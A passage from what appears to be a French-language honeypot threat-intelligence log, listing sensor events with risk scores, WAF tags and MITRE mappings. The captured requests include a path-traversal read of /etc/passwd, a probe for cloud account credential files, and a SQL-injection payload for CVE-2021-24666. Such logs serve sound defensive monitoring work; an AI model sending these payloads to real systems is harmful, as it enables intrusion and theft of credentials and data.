\/api\/w\/_\/jobs_u\/get_log_file\/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 100 % \u2014 7 tag(s) WAF", "confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 7 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "950600:k8s-api", "http_path_traversal", "http_path_traversal_high", "http_probe_api", "http_sensitive_path", "net_web_probe" ] }
30/07/2026 21:49:32 UTC	TCP	7001 · HTTP	http	Tentative d'exploit exploit attempt · via HTTP:7001 · (tentative d'exploit) · → /.axiom/accounts/do.json	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET /.axiom/accounts/do.json UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K… Émulateur HTTP WAF 19 Recommandation Investiguer Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 net_web_probe Cible HTTP GET /.axiom/accounts/do.json TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /.axiom/accounts/do.json Service HTTP Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62% Confiance classification 70% Corrélation +8 Risque capteur Moyen · 52 Confiance : Confiance 62 % — 3 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1190 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /.axiom/accounts/do.json HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /.axiom/accounts/do.json HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/ Requête brute (extrait) GET /.axiom/accounts/do.json HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 3, "http_path_ext": "json", "http_ua_hash": "53c3b66807f57547ba58d7aa5094513a708f87e1", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "d2ca35aabb66cce7e9ef9bf3f6b7457a683f7d23", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 250, "payload_entropy": 5.425446272735579, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 84, "risk_classification": 72, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 15, "risk_boost": 0, "risk_granularity": 5.6, "risk_breakdown": { "waf": 84, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15 }, "risk_score": 52, "tag_count": 4, "anomaly_count": 0, "campaign_key": "040b6029d745bd5fabff8fd7e8d1d3603102b8df", "event_fingerprint": "8e4b76dcf3f00ad3f4cbde43fe09e206fea0e000", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "confidence": 0.7, "classification_confidence": 0.7, "precision_score": 73, "precision_signals": [ "MITRE-T1190" ], "kb_rule_ids": [ "MITRE-T1190" ], "confidence_breakdown": { "waf": 84, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15, "risk_score": 52, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "http", "risk_confidence_factor": 62, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "3be77bffe74d8175dc91167a86876d03", "payload_hash": "9a8d95d9b4b82111cafb495c4cdc6a2c", "path_pattern_hash": "f139b132b35304641e65252c3e109eb2" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 52 }, "payload_preview": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/", "method": "GET", "path": "\/.axiom\/accounts\/do.json", "user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.107 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/.axiom\/accounts\/do.json HTTP\/1.1", "request_sample": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.107 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/", "evidence": { "method": "GET", "path": "\/.axiom\/accounts\/do.json", "user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.107 Safari\/537.36", "waf_tags": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/.axiom\/accounts\/do.json HTTP\/1.1", "request_sample": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.107 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/", "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "unknown" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "9f1d490ba663ced9f5ee9221d81dcd047c2b862e", "protocol_details": { "http_method": "GET", "http_path": "\/.axiom\/accounts\/do.json", "request_line": "GET \/.axiom\/accounts\/do.json HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.107 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/", "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/.axiom\/accounts\/do.json", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "classification_reason_label_fr": "Tentative d'exploit (tag rce-0) \u00b7 confiance 62%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 52\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 70 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 70, "confidence_breakdown": { "waf": 84, "classification": 72, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 15, "risk_score": 52, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 52, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "MITRE-T1190" ], "tags_summary_labels_fr": [ "MITRE-T1190" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/.axiom\/accounts\/do.json", "request_line": "GET \/.axiom\/accounts\/do.json HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/92.0.4515.107 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "exploit attempt \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/.axiom\/accounts\/do.json", "evidence_snippet": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 62 % \u2014 3 tag(s) WAF", "confidence_factors_fr": "Confiance 70 % \u2014 Score WAF 84 \u00b7 Bonus corr\u00e9lation +8 \u00b7 3 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "net_web_probe" ] }
30/07/2026 21:49:32 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 33
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /.axiom/accounts/do.json HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 33 Confiance : Confiance 0 % — 6 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /.axiom/accounts/do.json HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 Requête brute (extrait) GET /.axiom/accounts/do.json HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 240, "payload_entropy": 5.416467056917066, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 33, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "b599aaaaaa4620aeb8537f1b849bc045", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 33 }, "payload_preview": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36", "request_sample": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/132.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36", "evidence": { "request_sample": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/132.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "41a5e217d3b88116b08b0fa5138ed1e6d717ef05", "protocol_details": { "payload_preview": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 33, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/.axiom\/accounts\/do.json HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Kubuntu; Linux x86_64) AppleWebKit\/537.36", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:31 UTC	TCP	7001 · HTTP	http	Traversal LFI lfi path traversal · via HTTP:7001 · (tentative d'exploit) · → /index.php	Élevée	Moyen · 60
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET /index.php UA Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Ge… Émulateur HTTP WAF 50 Recommandation Investiguer Tags 950001:sqli-0 950317:lfi-14 950325:rce-0 950326:rce-0 Cible HTTP GET /index.php TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible /index.php Service HTTP Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 59% Confiance classification 67% Corrélation +8 Risque capteur Moyen · 60 Confiance : Confiance 59 % — 7 tag(s) WAF Protocole émulé 1 Signaux CRS-930100-sub Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET /index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP/1.1` User-Agent Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Règles WAF sqli-0 lfi-14 rce-0 rce-14 nosqli-3 Payload (extrait) GET /index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666' Requête brute (extrait) GET /index.php?rest_route=/podlove/v1/social/services/contributor/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 2, "http_path_depth": 1, "http_path_ext": "php", "http_ua_hash": "7ed300bdaa83a246f3a96446bffd2f793a0e5137", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "bcafa52fbb27f6d6b5cd96c10ba0b26fc4d3b55f", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 355, "payload_entropy": 5.637320132308988, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 100, "risk_classification": 78, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 30, "risk_boost": 0, "risk_granularity": 7.2, "risk_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30 }, "risk_score": 60, "tag_count": 9, "anomaly_count": 1, "campaign_key": "603ee3da46406b3534021be69a0796ef9a7388e0", "event_fingerprint": "7cae8fb5c08bed89915bb5b34e65fab82e06859f", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%", "confidence": 0.67, "classification_confidence": 0.67, "precision_score": 70, "precision_signals": [ "CRS-930100-sub" ], "kb_rule_ids": [ "CRS-930100-sub" ], "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 30, "risk_score": 60, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "path_traversal", "service_name": "http", "risk_confidence_factor": 59, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "http_ua_hash": "80f314c5f45abee6ac2165c7b6f595f8", "payload_hash": "a31e8405447a1ded65997fb7fd8fee07", "path_pattern_hash": "201b6d8e6a3d9fbcc3cf8466de84b9b4" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 60 }, "method": "GET", "path": "\/index.php", "query_string": "rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20-", "user_agent": "Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/133.0.0.0 Safari\/537.36", "waf_tags": [ "950001:sqli-0", "950317:lfi-14", "950325:rce-0", "950326:rce-0", "950381:rce-14", "950469:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "sqli-0", "lfi-14", "rce-0", "rce-14", "nosqli-3" ], "request_line": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP\/1.1", "payload_snippet": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'", "evidence": { "method": "GET", "path": "\/index.php", "query_string": "rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20-", "user_agent": "Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/133.0.0.0 Safari\/537.36", "waf_tags": [ "950001:sqli-0", "950317:lfi-14", "950325:rce-0", "950326:rce-0", "950381:rce-14", "950469:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "sqli-0", "lfi-14", "rce-0", "rce-14", "nosqli-3" ], "request_line": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP\/1.1", "request_sample": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'),NULL,NULL,NULL--%20- HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (ZZ; Linux i686) AppleWebKit\/537.36 (KHTML, like", "payload_snippet": "GET \/index.php?rest_route=\/podlove\/v1\/social\/services\/contributor\/1&id=1%20UNION%20ALL%20SELECT%20NULL,NULL,md5('CVE-2021-24666'", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "path_traversal" ], "recommended_client_action": "investigate", "policy_mode": 